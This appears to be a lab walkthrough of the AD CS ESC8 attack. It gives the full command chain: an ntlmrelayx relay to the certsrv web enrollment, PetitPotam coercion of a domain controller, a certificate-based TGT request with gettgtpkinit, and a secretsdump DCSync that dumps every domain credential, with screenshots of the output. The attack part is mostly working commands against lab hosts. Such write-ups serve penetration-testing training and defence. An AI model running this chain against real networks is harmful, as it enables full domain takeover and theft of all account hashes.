# ESC8 - coerce to domain admin

Active Directory Certificate Services (AD CS) in Windows Server® 2012. AD CS is the Server Role that allows you to build a public key infrastructure (PKI) and provide public key cryptography, digital certificates, and digital signature capabilities for your organization.

PetitPotam is a classic NTLM Relay Attack, and such attacks have been previously documented by Microsoft along with numerous mitigation options to protect customers. For example: [Microsoft Security Advisory 974926](https://docs.microsoft.com/security-updates/SecurityAdvisories/2009/974926). &#x20;

* To make this attack work we will need :
  * ADCS running on the domain with web enrollment enabled.
  * A working coerce method (here we use petitpotam unauthent, but an authenticated printerbug or other coerce methods will work the same)
  * There is a useful template to exploit ESC8, by default on an active directory, its name is *DomainController*
* Let’s check if the web enrollement is up and running at : <http://192.168.56.23/certsrv/certfnsh.asp>

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FXqQPUhkjt39xtEtAZTNX%2Fimage.png?alt=media&#x26;token=edb31192-dcd4-4f6e-9476-5a4420870dd8" alt=""><figcaption></figcaption></figure>

* Add a listener to relay SMB authentication to HTTP with impacket ntlmrelayx

```
sudo ntlmrelayx.py -t http://192.168.56.23/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FlP6LCW2FhuoGwfJCK0i5%2Fimage.png?alt=media&#x26;token=b6c8461b-ef94-41bb-b0f3-927b28289985" alt=""><figcaption></figcaption></figure>

* Launch the coerce with [petitpotam](https://github.com/topotam/PetitPotam) unauthenticated (this will no more work on an up to date active directory but other coerce methods authenticated will work the same)

```
python3 PetitPotam.py 192.168.56.31 baltimore.maryland.local
```

<br>

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FRvI1ARGoyTMWFlWQcHin%2Fimage.png?alt=media&#x26;token=91815981-1170-4402-a26d-fa79002726db" alt=""><figcaption></figcaption></figure>

* ntlmrelayx will relay the authentication to the web enrollment and get the certificate

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FMomZdaBZO1OeSRbGDqnb%2Fimage.png?alt=media&#x26;token=8d8d560e-6617-43d1-8ccb-05e72e771426" alt=""><figcaption></figcaption></figure>

* Ask for a TGT with the certificate we just get (we copied it to the file cert.b64)
* download it from here: <https://raw.githubusercontent.com/dirkjanm/PKINITtools/master/gettgtpkinit.py>

```
python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) 'maryland.local'/'baltimore$' 'baltimore.ccache'
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FQF7ExX8dWIxhsigjRknN%2Fimage.png?alt=media&#x26;token=552e5646-77f2-437e-a3e9-f2d7f1a4ae80" alt=""><figcaption></figcaption></figure>

* And now we got a TGT for baltimore so we can launch a DCsync and get all the ntds.dit content.

```
export KRB5CCNAME=/home/jefe/ADCS/baltimore.ccache
secretsdump.py -k -no-pass MARYLAND.LOCAL/'baltimore$'@baltimore.maryland.local
```

<figure><img src="https://755243087-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FB2Dm6vWGbM7kQRITOyVl%2Fuploads%2FeRlD68PC83ToetFpXyBT%2Fimage.png?alt=media&#x26;token=c5c57541-e944-4a72-a76f-b640b1c20f29" alt=""><figcaption></figcaption></figure>
